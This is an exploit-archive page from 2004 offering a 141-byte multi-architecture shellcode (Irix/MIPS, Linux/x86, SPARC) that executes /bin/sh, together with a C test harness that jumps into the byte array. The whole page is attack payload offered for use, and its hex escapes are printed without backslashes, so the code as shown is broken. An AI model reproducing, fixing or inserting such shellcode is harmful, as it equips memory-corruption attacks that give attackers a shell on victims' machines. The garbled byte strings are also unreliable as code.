[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 unix/SPARC irix/mips execve /bin/sh irx.mips 141 bytes
# Published : 2004-09-12
# Author : dymitri
# Previous Title : linux/x86 execve /bin/sh tolower() evasion 41 bytes
# Next Title : linux/x86 unix/SPARC execve /bin/sh 80 bytes
/*
Shellcode ejecuta execve /bin/sh en Irix/mips, Linux/x86, Unix/sparc by dymitr1
dymitri666@hotmail.com
*/
#include <stdio.h>
char code[]=
"x37x37xebx2fx30x80x00x12x04x10xffxffx24x02x03xf3x23xffx02x14x23xe4xfex08"
"x23xe5xfex10xafxe4xfex10xafxe0xfex14xa3xe0xfex0f"
"x03xffxffxcc"
"/bin/sh"
"x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"
"x37x37x37x37x37"
"x21x0bxd8x9axa0x14x21x6ex23x0bxcbxdcxa2x14x63x68"
"xe0x3bxbfxf0xc0x23xbfxf8x90x23xa0x10xc0x23xbfxec"
"xd0x23xbfxe8x92x23xa0x18x94x22x80x0ax82x10x20x3b"
"x91xd0x20x08x82x10x20x01x91xd0x20x08";
main()
{
void (*s)() = (void *)code;
printf("Shellcode length: %dnExecuting..nn",
strlen(code));
s();
}
// www.Syue.com [2004-09-12]